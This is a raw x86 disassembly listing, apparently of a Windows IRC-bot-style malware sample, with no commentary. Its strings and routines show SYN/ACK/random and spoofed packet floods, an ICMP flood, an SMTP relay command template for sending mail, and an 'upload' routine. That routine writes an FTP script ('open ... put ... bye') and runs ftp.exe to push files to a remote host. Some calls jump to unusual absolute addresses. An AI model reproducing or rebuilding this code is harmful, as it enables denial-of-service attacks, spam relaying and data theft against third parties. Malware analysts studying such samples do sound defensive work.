		call	sub_41BEB0
		push	offset asc_42D124 ; " "
		push	offset dword_42BBF8
		push	[ebp+esi+var_7C]
		call	sub_417EEF
		push	eax
		lea	eax, [ebp+var_4288]
		push	eax
		call	sub_41BEB0
		add	esp, 30h
		lea	eax, [ebp+var_5588]
		push	eax
		push	101h
		call	dword_4CB5C4
		lea	eax, [ebp+var_47EC]
		push	eax
		call	dword_4CB6D8
		push	6
		push	1
		push	2
		mov	edi, eax
		call	dword_4CB6D4
		push	[ebp+arg_10]
		mov	esi, eax
		mov	[ebp+var_31C], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_318], eax
		call	dword_4CB654
		mov	[ebp+var_31A], ax
		lea	eax, [ebp+var_4288]
		push	eax
		lea	eax, [ebp+var_4188]
		push	eax
		lea	eax, [ebp+var_4288]
		push	eax
		lea	eax, [ebp+var_4588]
		push	eax
		lea	eax, [ebp+var_4188]
		push	eax
		lea	eax, [ebp+var_5988]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_41B886
		add	esp, 1Ch
		lea	eax, [ebp+var_31C]
		push	10h
		push	eax
		push	esi
		call	dword_4CB5FC
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp+var_4088]
		push	edi
		push	eax
		push	esi
		call	dword_4CB66C
		lea	eax, [ebp+var_4088]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_5988]
		push	eax
		push	esi
		call	dword_4CB6A4
		push	ebx
		lea	eax, [ebp+var_4088]
		push	edi
		push	eax
		push	esi
		call	dword_4CB66C
		push	esi
		call	dword_4CB6EC
		call	dword_4CB5AC
		lea	eax, [ebp+var_4588]
		push	eax
		push	offset unk_42B0D4


loc_406CD0:				; CODE XREF: sub_401ACD+2E83j
					; sub_401ACD+4667j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886


loc_406CDC:				; CODE XREF: sub_401ACD+248Cj
		add	esp, 0Ch


loc_406CDF:				; CODE XREF: sub_401ACD+4585j
					; sub_401ACD+6654j ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_406D00
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h


loc_406D00:				; CODE XREF: sub_401ACD+29B3j
					; sub_401ACD+2A06j ...
		mov	esi, [ebp+arg_24]


loc_406D03:				; CODE XREF: sub_401ACD+68F3j
					; sub_401ACD+78E3j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD
		pop	ecx
		mov	eax, esi
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_406D17:				; CODE XREF: sub_401ACD+50ADj
		push	[ebp+arg_8]
		push	offset aHttpcon	; "httpcon"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406D41
		push	[ebp+arg_8]
		push	offset aHcon	; "hcon"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4072E9


loc_406D41:				; CODE XREF: sub_401ACD+525Bj
		push	[ebp+esi+var_7C]
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_10]
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4100DC
		jmp	loc_4040AB
; ---------------------------------------------------------------------------


loc_406D6F:				; CODE XREF: sub_401ACD+507Fj
					; sub_401ACD+5096j
		push	[ebp+arg_10]
		mov	esi, 80h
		lea	eax, [ebp+var_1354]
		push	esi
		push	eax
		call	sub_41B980
		lea	eax, [ebp+var_1354]
		push	eax
		push	offset aSyn	; "syn"
		call	sub_41C070
		add	esp, 14h
		test	eax, eax
		jz	short loc_406DD4
		lea	eax, [ebp+var_1354]
		push	eax
		push	offset aAck	; "ack"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406DD4
		lea	eax, [ebp+var_1354]
		push	eax
		push	offset aRandom_0 ; "random"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406DD4
		push	offset unk_42B08C
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_406DD4:				; CODE XREF: sub_401ACD+52CDj
					; sub_401ACD+52E4j ...
		push	[ebp+arg_18]
		call	sub_41B779
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_124C],	eax
		jle	loc_406F00
		push	[ebp+arg_10]
		lea	eax, [ebp+var_1354]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_13D4]
		push	edi
		push	esi
		push	eax
		call	sub_41B980
		push	[ebp+arg_0]
		call	sub_41B779
		mov	[ebp+var_1250],	eax
		add	esp, 10h
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_1248],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13D8],	eax
		lea	eax, [ebp+var_12D4]
		push	esi
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		cmp	[ebp+var_1248],	ebx
		mov	[ebp+var_1244],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1240],	eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_406E71
		mov	eax, offset aNormal ; "Normal"


loc_406E71:				; CODE XREF: sub_401ACD+539Dj
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		push	[ebp+arg_10]
		push	eax
		push	offset unk_42B048
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	14h
		push	eax
		call	sub_40B0F7
		add	esp, 2Ch
		mov	[ebp+var_1254],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_13D8]
		push	ebx
		push	eax
		push	offset word_413E36
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0000h
		mov	ecx, [ebp+var_1254]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_406EEF


loc_406ED9:				; CODE XREF: sub_401ACD+5420j
		cmp	[ebp+var_123C],	ebx
		jnz	loc_40828C
		push	32h
		nop
		call	near ptr 2690F24h
		jmp	short loc_406ED9
; ---------------------------------------------------------------------------


loc_406EEF:				; CODE XREF: sub_401ACD+540Aj
		nop
		call	near ptr 26A08EAh
		push	eax
		push	offset unk_42B010
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_406F00:				; CODE XREF: sub_401ACD+5318j
		push	offset unk_42AFD8


loc_406F05:				; CODE XREF: sub_401ACD+2019j
					; sub_401ACD+202Fj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_40828C
; ---------------------------------------------------------------------------


loc_406F18:				; CODE XREF: sub_401ACD+503Aj
					; sub_401ACD+5051j ...
		cmp	dword_4CB744, ebx
		jnz	loc_407027
		mov	eax, [ebp+var_8]
		push	7Fh
		push	[ebp+arg_10]
		mov	[ebp+var_FF4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_FF8], eax
		lea	eax, [ebp+var_108C]
		push	eax
		call	sub_41B5F0
		push	edi
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_100C],	eax
		call	sub_41B779
		push	[ebp+arg_18]
		mov	[ebp+var_1008],	eax
		call	sub_41B779
		push	7Fh
		mov	[ebp+var_1004],	eax
		push	[ebp+var_88]
		lea	eax, [ebp+var_110C]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+arg_4]
		add	esp, 24h
		mov	[ebp+var_1110],	eax
		lea	eax, [ebp+var_108C]
		push	[ebp+var_1004]
		push	[ebp+var_1008]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_100C]
		push	offset unk_42AF90
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	16h
		push	eax
		call	sub_40B0F7
		add	esp, 24h
		mov	[ebp+var_FFC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1110]
		push	ebx
		push	eax
		push	offset byte_413285
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0000h
		mov	ecx, [ebp+var_FFC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_407016


loc_407000:				; CODE XREF: sub_401ACD+5547j
		cmp	[ebp+var_FF0], ebx
		jnz	loc_40828C
		push	32h
		nop
		call	near ptr 2690F24h
		jmp	short loc_407000
; ---------------------------------------------------------------------------


loc_407016:				; CODE XREF: sub_401ACD+5531j
		call	near ptr 26A08EAh
		nop
		push	eax
		push	offset unk_42AF58
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_407027:				; CODE XREF: sub_401ACD+5451j
		push	1FFh
		lea	eax, [ebp+var_2C4]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_41B5F0
		jmp	loc_408289
; ---------------------------------------------------------------------------


loc_407042:				; CODE XREF: sub_401ACD+500Cj
					; sub_401ACD+5023j
		push	edi
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	offset unk_42AF04
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		push	[ebp+arg_0]
		call	sub_41AFE0
		mov	edx, eax
		push	edi
		mov	edi, edx
		call	sub_41AFE0
		push	[ebp+arg_10]
		add	edi, eax
		call	sub_41AFE0
		push	[ebp+arg_8]
		add	edi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+edi+7]
		push	eax
		call	sub_41B900
		add	esp, 40h
		mov	[ebp+arg_C], eax
		push	[ebp+arg_0]
		call	sub_41B779
		mov	edi, [ebp+arg_1C]
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_20], ebx
		jle	short loc_40713C


loc_4070C5:				; CODE XREF: sub_401ACD+561Cj
		push	[ebp+arg_C]
		push	edi
		push	[ebp+arg_10]
		call	sub_4185A5
		add	esp, 0Ch
		cmp	eax, 1
		mov	[ebp+arg_1C], eax
		jz	short loc_4070ED
		cmp	eax, ebx
		jnz	short loc_40710C
		inc	[ebp+arg_20]
		mov	eax, [ebp+arg_20]
		cmp	eax, [ebp+arg_14]
		jl	short loc_4070C5
		jmp	short loc_407145
; ---------------------------------------------------------------------------


loc_4070ED:				; CODE XREF: sub_401ACD+560Dj
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42AECC


loc_4070F6:				; CODE XREF: sub_401ACD+5681j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h
		jmp	loc_4072E9
; ---------------------------------------------------------------------------


loc_40710C:				; CODE XREF: sub_401ACD+5611j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42AE98
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 20h


loc_40713C:				; CODE XREF: sub_401ACD+55F6j
		cmp	[ebp+arg_1C], ebx
		jnz	loc_4072E9


loc_407145:				; CODE XREF: sub_401ACD+561Ej
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42AE64
		jmp	short loc_4070F6
; ---------------------------------------------------------------------------


loc_407150:				; CODE XREF: sub_401ACD+4FC7j
					; sub_401ACD+4FDEj ...
		mov	eax, [ebp+var_8]
		push	7Fh
		push	[ebp+arg_10]
		mov	[ebp+var_C64], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_C68], eax
		lea	eax, [ebp+var_CFC]
		push	eax
		call	sub_41B5F0
		push	edi
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_C7C], eax
		call	sub_41B779
		push	[ebp+arg_18]
		mov	[ebp+var_C78], eax
		call	sub_41B779
		mov	esi, [ebp+esi+var_7C]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp+var_C74], eax
		jz	short loc_4071B5
		push	esi
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_C70], eax
		jmp	short loc_4071BB
; ---------------------------------------------------------------------------


loc_4071B5:				; CODE XREF: sub_401ACD+56D7j
		mov	[ebp+var_C70], ebx


loc_4071BB:				; CODE XREF: sub_401ACD+56E6j
		push	7Fh
		lea	eax, [ebp+var_D7C]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_CFC]
		mov	[ebp+var_D80], esi
		push	[ebp+var_C74]
		push	[ebp+var_C78]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_C7C]
		push	offset unk_42AE1C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	17h
		push	eax
		call	sub_40B0F7
		add	esp, 24h
		mov	[ebp+var_C6C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_D80]
		push	ebx
		push	eax
		push	offset byte_413411
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0000h
		mov	ecx, [ebp+var_C6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40725E


loc_40724C:				; CODE XREF: sub_401ACD+578Fj
		cmp	[ebp+var_C60], ebx
		jnz	short loc_407279
		push	32h
		nop
		call	near ptr 2690F24h
		jmp	short loc_40724C
; ---------------------------------------------------------------------------


loc_40725E:				; CODE XREF: sub_401ACD+577Dj
		call	near ptr 26A08EAh
		nop
		push	eax
		push	offset unk_42ADE4


loc_40726A:				; CODE XREF: sub_401ACD+4E32j
					; sub_401ACD+62BFj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_407279:				; CODE XREF: sub_401ACD+4E16j
					; sub_401ACD+5785j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4083BD
		push	ebx
		push	[ebp+var_4]


loc_407286:				; CODE XREF: sub_401ACD+22DFj
		lea	eax, [ebp+var_2C4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_4082A9
; ---------------------------------------------------------------------------


loc_407299:				; CODE XREF: sub_401ACD+4F99j
					; sub_401ACD+4FB0j
		push	0Bh
		call	sub_40B33F
		push	edi
		mov	[ebp+arg_1C], eax
		call	sub_41B779
		add	eax, [ebp+arg_1C]
		pop	ecx
		pop	ecx
		cmp	eax, 1F4h
		jle	loc_407455
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42ADA4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 20h


loc_4072E9:				; CODE XREF: sub_401ACD+526Ej
					; sub_401ACD+563Aj ...
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aUpload	; "upload"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409855
		push	4
		push	esi
		call	sub_416909
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407325
		push	esi
		push	offset unk_42AD7C
		jmp	loc_408CDC
; ---------------------------------------------------------------------------


loc_407325:				; CODE XREF: sub_401ACD+584Bj
		nop
		call	near ptr 26B084Fh
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41B8E2
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp+var_51F8]
		push	edx
		push	eax
		lea	eax, [ebp+var_2E58]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2E58]
		push	offset aAb	; "ab"
		push	eax
		call	sub_41B4C2
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+arg_24], eax
		jz	loc_401E94
		push	esi
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		push	[ebp+arg_10]
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_41BE06
		push	[ebp+arg_24]
		call	sub_41B05B
		add	esp, 20h
		lea	eax, [ebp+var_2E58]
		push	eax
		lea	eax, [ebp+var_4CF0]
		push	offset aSS_2	; "-s:%s"
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_4CF0]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4CB5C0
		push	[ebp+arg_10]
		test	eax, eax
		push	esi
		jz	short loc_4073F4
		push	offset unk_42AD0C
		jmp	short loc_4073F9
; ---------------------------------------------------------------------------


loc_4073F4:				; CODE XREF: sub_401ACD+591Ej
		push	offset unk_42ACDC


loc_4073F9:				; CODE XREF: sub_401ACD+5925j
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_407422
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h


loc_407422:				; CODE XREF: sub_401ACD+5937j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD


loc_40742E:				; CODE XREF: sub_401ACD+5986j
		lea	eax, [ebp+var_2E58]
		push	4
		push	eax
		call	sub_416909
		add	esp, 0Ch
		test	eax, eax
		jz	loc_401E94
		lea	eax, [ebp+var_2E58]
		push	eax
		call	sub_41BDDC
		jmp	short loc_40742E
; ---------------------------------------------------------------------------


loc_407455:				; CODE XREF: sub_401ACD+57E6j
		push	[ebp+arg_10]
		call	sub_41B779
		push	edi
		mov	[ebp+var_370], eax
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_358], eax
		call	sub_41B779
		add	esp, 0Ch
		cmp	eax, 5
		mov	[ebp+var_36C], eax
		jnb	short loc_40748E
		push	5
		pop	eax
		mov	[ebp+var_36C], eax


loc_40748E:				; CODE XREF: sub_401ACD+59B6j
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_40749B
		mov	[ebp+var_36C], ecx


loc_40749B:				; CODE XREF: sub_401ACD+59C6j
		push	[ebp+arg_18]
		call	sub_41B779
		mov	[ebp+var_368], eax
		mov	eax, 320h
		cmp	[ebp+var_368], eax
		pop	ecx
		jbe	short loc_4074BD
		mov	[ebp+var_368], eax


loc_4074BD:				; CODE XREF: sub_401ACD+59E8j
		or	[ebp+var_354], 0FFFFFFFFh
		cmp	dword_431B00, ebx
		mov	[ebp+arg_20], ebx
		jz	short loc_40750C
		mov	edi, offset dword_431B00


loc_4074D4:				; CODE XREF: sub_401ACD+5A21j
		push	[ebp+arg_10]
		lea	eax, [edi-28h]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4074F2
		inc	[ebp+arg_20]
		add	edi, 40h
		cmp	[edi], ebx
		jnz	short loc_4074D4
		jmp	short loc_40750C
; ---------------------------------------------------------------------------


loc_4074F2:				; CODE XREF: sub_401ACD+5A17j
		mov	eax, [ebp+arg_20]
		mov	ecx, eax
		mov	[ebp+var_354], eax
		shl	ecx, 6
		mov	ecx, dword_431B00[ecx]
		mov	[ebp+var_370], ecx


loc_40750C:				; CODE XREF: sub_401ACD+5A00j
					; sub_401ACD+5A23j
		cmp	[ebp+var_370], ebx
		jnz	short loc_40751E
		push	offset unk_42ACA8
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_40751E:				; CODE XREF: sub_401ACD+5A45j
		mov	edi, [ebp+esi+var_7C]
		cmp	edi, ebx
		mov	[ebp+arg_0], edi
		jz	short loc_407559
		cmp	byte ptr [edi],	23h
		jz	short loc_407559
		push	edi
		lea	eax, [ebp+var_484]
		push	10h
		push	eax
		call	sub_41B980
		push	78h
		push	edi
		call	sub_41BFB0
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_344], eax
		jmp	loc_407633
; ---------------------------------------------------------------------------


loc_407559:				; CODE XREF: sub_401ACD+5A5Aj
					; sub_401ACD+5A5Fj
		cmp	[ebp+var_8FF], bl
		jnz	short loc_40757B
		cmp	[ebp+var_8FE], bl
		jnz	short loc_40757B
		cmp	[ebp+var_8EE], bl
		jnz	short loc_40757B
		push	offset unk_42AC74
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_40757B:				; CODE XREF: sub_401ACD+5A92j
					; sub_401ACD+5A9Aj ...
		push	10h
		lea	eax, [ebp+var_2D0]
		pop	edi
		push	eax
		lea	eax, [ebp+var_2F8]
		push	eax
		mov	[ebp+var_2D0], edi
		push	[ebp+arg_4]
		call	dword_4CB5F8
		mov	al, [ebp+var_8FF]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_2F4], eax
		push	[ebp+var_2F4]
		call	dword_4CB6E0
		push	eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch
		cmp	[ebp+var_8EE], bl
		jz	short loc_40762D
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41BE40
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_407621


loc_4075FF:				; CODE XREF: sub_401ACD+5B52j
		cmp	eax, ebx
		jz	short loc_407621
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_484]
		push	30h
		push	eax
		call	sub_41BE40
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_4075FF


loc_407621:				; CODE XREF: sub_401ACD+5B30j
					; sub_401ACD+5B34j
		mov	[ebp+var_344], 1
		jmp	short loc_407633
; ---------------------------------------------------------------------------


loc_40762D:				; CODE XREF: sub_401ACD+5B0Aj
		mov	[ebp+var_344], ebx


loc_407633:				; CODE XREF: sub_401ACD+5A87j
					; sub_401ACD+5B5Ej
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	[ebp+var_374], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_34C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_348], eax
		mov	edi, 80h
		lea	eax, [ebp+var_474]
		push	edi
		push	eax
		call	sub_41B980
		mov	esi, [ebp+esi+var_78]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_407684


loc_407671:				; CODE XREF: sub_401ACD+5BDAj
		push	esi


loc_407672:				; CODE XREF: sub_401ACD+5BC4j
		lea	eax, [ebp+var_3F4]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_4076AF
; ---------------------------------------------------------------------------


loc_407684:				; CODE XREF: sub_401ACD+5BA2j
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_407693
		cmp	byte ptr [eax],	23h
		jnz	short loc_407693
		push	eax
		jmp	short loc_407672
; ---------------------------------------------------------------------------


loc_407693:				; CODE XREF: sub_401ACD+5BBCj
					; sub_401ACD+5BC1j
		mov	esi, offset aF	; "#f"
		push	offset dword_43D808
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407671
		mov	[ebp+var_3F4], bl


loc_4076AF:				; CODE XREF: sub_401ACD+5BB5j
		cmp	[ebp+var_344], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4076C1
		mov	eax, offset aSequential	; "Sequential"


loc_4076C1:				; CODE XREF: sub_401ACD+5BEDj
		push	[ebp+var_358]
		lea	ecx, [ebp+var_484]
		push	[ebp+var_368]
		push	[ebp+var_36C]
		push	[ebp+var_370]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42AC0C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F7
		add	esp, 2Ch
		mov	[ebp+var_364], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_484]
		push	ebx
		push	eax
		push	offset loc_40C33D
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0000h
		mov	ecx, [ebp+var_364]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40774F


loc_407739:				; CODE XREF: sub_401ACD+5C80j
		cmp	[ebp+var_340], ebx
		jnz	loc_40828C
		push	32h
		nop
		call	near ptr 2690F24h
		jmp	short loc_407739
; ---------------------------------------------------------------------------


loc_40774F:				; CODE XREF: sub_401ACD+5C6Aj
		nop
		call	near ptr 26A08EAh
		push	eax
		push	offset unk_42ABD4
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_407760:				; CODE XREF: sub_401ACD+4F6Bj
					; sub_401ACD+4F82j
		push	[ebp+arg_10]
		call	sub_40AAFA
		push	edi
		mov	[ebp+var_4E0], eax
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_4F0], eax
		call	sub_41B779
		push	[ebp+arg_18]
		mov	[ebp+var_4EC], eax
		call	sub_41B779
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_4E8], eax
		lea	eax, [ebp+var_570]
		mov	[ebp+var_574], esi
		push	eax
		call	sub_41B5F0
		add	esp, 1Ch
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_4D8], edi
		push	[ebp+var_4EC]
		mov	[ebp+var_4D4], eax
		push	[ebp+var_4F0]
		push	[ebp+var_4E8]
		push	[ebp+var_4E0]
		call	dword_4CB6E0
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42AB84
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F7
		add	esp, 24h
		mov	[ebp+var_4E4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_574]
		push	ebx
		push	eax
		push	offset word_40C75A
		push	ebx
		push	ebx
		call	near ptr 26A0000h
		nop
		mov	ecx, [ebp+var_4E4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_407855


loc_40783F:				; CODE XREF: sub_401ACD+5D86j
		cmp	[ebp+var_4D0], ebx
		jnz	loc_403DA1
		push	32h
		nop
		call	near ptr 2690F24h
		jmp	short loc_40783F
; ---------------------------------------------------------------------------


loc_407855:				; CODE XREF: sub_401ACD+5D70j
		nop
		call	near ptr 26A08EAh
		push	eax
		push	offset unk_42AB48
		jmp	loc_403D92
; ---------------------------------------------------------------------------


loc_407866:				; CODE XREF: sub_401ACD+4F2Ej
					; sub_401ACD+4F45j
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		cmp	byte_43E5A8[eax], bl
		jz	loc_409855
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	edi
		call	sub_41AFE0
		push	[ebp+arg_10]
		mov	esi, eax
		call	sub_41AFE0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_2C4]
		push	esi
		push	offset dword_42AB3C
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	esi, ebx
		jz	loc_409855
		push	[ebp+arg_10]
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409855
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409855
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	edi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E59C[eax]
		call	sub_409A73
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43E390[eax], 73h
		jnz	loc_409855
		push	esi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43E5A8
		push	eax
		push	edi
		push	offset aSSS_2	; "[%s]	* %s %s"
		jmp	loc_407A36
; ---------------------------------------------------------------------------


loc_40795E:				; CODE XREF: sub_401ACD+4F00j
					; sub_401ACD+4F17j
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		cmp	byte_43E5A8[eax], bl
		jz	loc_409855
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	edi
		call	sub_41AFE0
		push	[ebp+arg_10]
		mov	esi, eax
		call	sub_41AFE0
